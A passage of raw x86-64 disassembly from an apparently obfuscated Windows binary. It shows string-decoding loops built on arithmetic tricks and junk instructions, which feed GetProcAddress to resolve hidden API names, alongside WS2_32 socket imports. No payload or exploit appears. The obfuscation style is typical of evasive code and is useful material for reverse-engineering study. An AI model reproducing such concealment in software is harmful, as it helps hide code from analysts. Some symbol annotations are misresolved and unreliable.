movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140068f9d
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140068d2b
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
dec r11
inc r11
jmp 0x140068813
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140068bea
movzx edx, r11b
lea ecx, [rdx - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x140069019
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140068d7d
movzx edx, r11b
lea ecx, [rdx - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xf
jmp 0x140069019
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140068da7
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
dec r11
inc r11
jmp 0x140068813
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140068dcf
movzx r9d, r11b
lea ecx, [r9 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x35
jmp 0x140068f9d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140068df6
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x69
add rbx, r8
jmp 0x140069076
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140068c1b
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1f
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140068813
jne 0x140068e59
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140068813
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140068e81
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400690ad
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140068ea5
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x140069076
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140068ecf
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
dec r11
inc r11
jmp 0x140068813
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140068c4f
movzx edx, r11b
lea ecx, [rdx - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x140069019
mov byte [rbp + r11 - 0x30], dil
inc r11
jmp 0x140068813
movzx r9d, r11b
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 - 0x30]
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140068f9d
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x4a]
jmp 0x1400690ad
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x77
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140068813
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
jmp 0x140069076
movzx r9d, r11b
lea ecx, [r9 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x73
sub r9b, 0x21
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x19
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 - 0x30], r9b
add rbx, r8
jmp 0x140069076
lea ecx, [r11 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2b
dec r11
inc r11
jmp 0x140068813
movzx edx, r11b
lea ecx, [rdx - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x67
jmp 0x140069019
movzx edx, r11b
lea ecx, [rdx - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
sub dl, 0x2f
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x49
add dl, r10b
mov byte [rbp + r11 - 0x30], dl
inc r8
dec r11
inc r11
jmp 0x140068813
lea ecx, [r11 + 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x21
dec r11
inc r11
jmp 0x140068813
lea rcx, [r11 + r14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140068813
lea rdx, [r11 + r13]
movzx r10d, r9b
movzx eax, dl
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x57
add dil, dl
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x30], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 - 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140068813
lea rcx, [r11 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140068813
sub r11b, 0x5d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x75
jmp 0x140068810
sub r11b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x13
jmp 0x140068800
lea rdx, [rbp + 0x178d484]
jmp 0x14006918d
lea rdx, [rbp + 0x115708b]
jmp 0x14006918d
lea rdx, [rbp - 0x30]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov byte [rbp + 0x2c0], 0x5f
mov byte [rbp + 0x2c1], 0x3e
mov byte [rbp + 0x2c2], recvfrom
mov byte [rbp + 0x2c3], 0x40
mov byte [rbp + 0x2c4], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c5], socket
mov byte [rbp + 0x2c6], 0x2a
mov byte [rbp + 0x2c7], 0x22
mov byte [rbp + 0x2c8], 0x4b
mov byte [rbp + 0x2c9], 0x26
mov byte [rbp + 0x2ca], reloc.WS2_32.dll_send
mov byte [rbp + 0x2cb], gethostname
mov byte [rbp + 0x2cc], socket
mov byte [rbp + 0x2cd], gethostname
mov byte [rbp + 0x2ce], 0x18
mov byte [rbp + 0x2cf], 0x28
mov byte [rbp + 0x2d0], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2d1], xmm0
mov qword [rbp + 0x2e1], rax
mov word [rbp + 0x2e9], ax
mov byte [rbp + 0x2eb], al
movzx edi, byte [rbp + 0x400]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2c
jae 0x140069dc1
movzx r10d, byte [rbp + r11 + 0x2c0]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x140069db8
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006929f
lea rcx, [r11 + 0x11beb]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x6d
jmp 0x1400692d0
je 0x140069d45
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140069cdd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140069c81
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140069c5c
nop dword [rax]
cmp r8, r11
ja 0x140069daf
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x1400692fa
lea ecx, [r11 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
jmp 0x140069340
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140069c11
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140069bef
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140069bcf
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140069bb3
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140069b85
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x1400698d4
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400698b4
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006988c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140069867
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140069847
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006982b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006980f
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400697ec
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400697d0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006979f
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140069350
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 9]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140069d92
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140069d75
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140069542
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140069523
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140069504
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006974e
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140069701
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400696bd
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140069696
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140069350
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 1]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140069665
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140069649
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140069626
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006960a
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400695ee
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400695ce
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400695a9
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140069581
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140069561
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140069350
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x400]
jmp 0x140069350
lea edx, [r11 - 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2f
add dil, dl
jmp 0x140069340
lea edx, [r11 - 0x3d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x55
add dil, dl
jmp 0x1400692d0
lea edx, [r11 - 0x13]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7b
add dil, dl
jmp 0x140069266
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
movzx r9d, r11b
jmp 0x140069c2c
lea edx, [r11 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x140069253
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140069253
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
movzx r9d, r11b
jmp 0x140069c9c
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x20
jmp 0x140069cc1
lea ecx, [r11 + 0xa]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x46
jmp 0x140069cc4
lea edx, [r11 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6c
add dil, dl
movzx r9d, r11b
jmp 0x140069b53
lea edx, [r11 + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140069cfb
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069253
lea ecx, [r11 - 0xf]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x69
mov byte [rbp + r11 + 0x2c0], dil
inc r11
jmp 0x140069253
lea edx, [r11 + 0x1b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x43
add dil, dl
cmp r8, 0xa
jb 0x1400696ad
movzx r9d, r11b
lea edx, [r9 - 0x5e]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140069c2f
lea edx, [r11 + 0x45]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x1d
add dil, dl
cmp rbx, 0x80
jae 0x140069b16
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140069a5e
lea edx, [r11 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400696d4
lea edx, [r11 + 0x6f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 9
add dil, dl
lea rax, [rbx + r8]
cmp rax, 0x41
je 0x140069b3e
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x1400699b5
lea edx, [r11 - 1]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 7
jmp 0x140069718
lea edx, [r11 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069253
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140069cfb
movzx r9d, r11b
lea edx, [r9 - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140069b53
lea ecx, [r11 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x18
jmp 0x140069cc4
lea ecx, [r11 + 0x52]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x3e
jmp 0x140069cc1
movzx r9d, r11b
lea edx, [r9 + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x64
jmp 0x140069c9c
lea edx, [r11 - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140069253
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x140069253
movzx r9d, r11b
lea edx, [r9 - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140069c2c
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400698f9
lea edx, [r11 - 0x15]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6d
jmp 0x140069765
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069933
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069253
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006995f
movzx r9d, r11b
lea edx, [r9 + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140069b53
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140069988
movzx r9d, r11b
lea edx, [r9 - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x24
jmp 0x140069c9c
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140069768
movzx r9d, r11b
lea edx, [r9 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140069c2c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400699de
movzx r9d, r11b
lea edx, [r9 - 0x2b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x2d
jmp 0x140069c2c
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069a09
lea ecx, [r11 - 0x7f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x79
dec r11
inc r11
jmp 0x140069253
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140069a2e
lea ecx, [r11 + 0x2d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x3b
jmp 0x140069cc1
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006971b
movzx r9d, r11b
lea edx, [r9 - 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x11
add dil, dl
jmp 0x140069b53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069a98
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069253
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140069ac4
movzx r9d, r11b
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x140069b53
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140069ae9
lea ecx, [r11 + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x2c
jmp 0x140069cc1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400696d7
movzx r9d, r11b
lea edx, [r9 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140069c2c
movzx r9d, r11b
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, byte [rbp + r11 + 0x2c0]
sub dil, al
sub dil, 0x48
add dil, r10b
jmp 0x140069c9c
movzx r9d, r11b
lea ecx, [r9 + 0x4e]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x22]
add r9b, 0x39
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x71
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2c0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140069cfe
lea ecx, [r11 - 0x33]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x65
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069253
lea ecx, [r11 + 0x75]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x33
jmp 0x140069cc1
movzx r9d, r11b
lea edx, [r9 - 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x59
jmp 0x140069c9c
lea ecx, [r11 - 0x37]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x7f
dec r11
inc r11
jmp 0x140069253
movzx r9d, r11b
lea edx, [r9 + 0x1d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x35
add dil, dl
sub r9b, 0x73
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x25
add r10b, r9b
mov byte [rbp + r11 + 0x2c0], r10b
inc r8
dec r11
inc r11
jmp 0x140069253
lea ecx, [r11 - 0x65]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x3d
inc r8
dec r11
inc r11
jmp 0x140069253
movzx r9d, r11b
lea edx, [r9 - 0x11]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x77
add dil, dl
add r9b, 0x63
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x4b
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x2c0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140069253
lea rdx, [r11 + 0x58b97]
movzx r10d, r9b
movzx eax, dl
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x21
add dil, dl
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x2c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069253
lea rcx, [r11 + 0x353c1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x47
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069253
add r11b, 0x17
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x5f
jmp 0x140069250
add r11b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x39
jmp 0x140069240
lea rdx, [rbp + 0x17ec4a4]
jmp 0x140069dc8
lea rdx, [rbp + 0xffe08f]
jmp 0x140069dc8
lea rdx, [rbp + 0x2c0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x80], rax
mov byte [rbp + 0x2f0], 0x27
mov byte [rbp + 0x2f1], 4
mov byte [rbp + 0x2f2], 0xf6
mov byte [rbp + 0x2f3], 0x25
mov byte [rbp + 0x2f4], recvfrom
mov byte [rbp + 0x2f5], 0xf7
mov byte [rbp + 0x2f6], 3
mov byte [rbp + 0x2f7], 0
mov byte [rbp + 0x2f8], 0xfa
mov byte [rbp + 0x2f9], 6
mov byte [rbp + 0x2fa], 0xff
mov byte [rbp + 0x2fb], 5
mov byte [rbp + 0x2fc], 8
mov byte [rbp + 0x2fd], 0x1a
mov byte [rbp + 0x2fe], 7
mov byte [rbp + 0x2ff], 1
mov byte [rbp + 0x300], 0xf4
mov byte [rbp + 0x301], 0xfe
mov byte [rbp + 0x302], 5
mov byte [rbp + 0x303], __WSAFDIsSet
xor eax, eax
mov qword [rbp + 0x304], rax
mov dword [rbp + 0x30c], eax
mov word [rbp + 0x310], ax
movabs r14, 0x90fadcdab11ab5f0
movabs r13, 0xd4e6504575858db0
movabs r12, 0xb2f09690135021d0
movzx edi, byte [rbp + 0x400]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x22
jae 0x14006a805
movzx r10d, byte [rbp + r11 + 0x2f0]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x14006a7fc
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140069efc
lea rcx, [r11 + r14]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
add dil, 0x70
jmp 0x140069f30
je 0x14006a782
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006a71f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006a6c7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006a6a6
nop dword [rax]
cmp r8, r11
ja 0x14006a7f3
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140069f61
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140069fa2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006a658
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006a6c7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006a639
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006a5e9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006a5b8
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14006a30c
nop
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006a2fa
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006a2dc
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006a2bb
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006a392
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006a2a0
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006a282
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140069fb0
lea rbx, [r8 + 2]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006a7d3
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006a7b3
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006a10a
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006a0ef
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14006a0d4
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006a1e0
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140069fb0
lea rbx, [r8 + 6]
lea r8, [rbx + 8]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14006a1b0
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006a191
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006a17f
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006a160
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006a148
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006a129
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x20]
jmp 0x140069fb0
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140069fa2
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140069f30
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140069ec6
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
movzx r9d, r11b
jmp 0x14006a6e1
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edi, r11b
sub dil, cl
add dil, r10b
jmp 0x14006a703
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
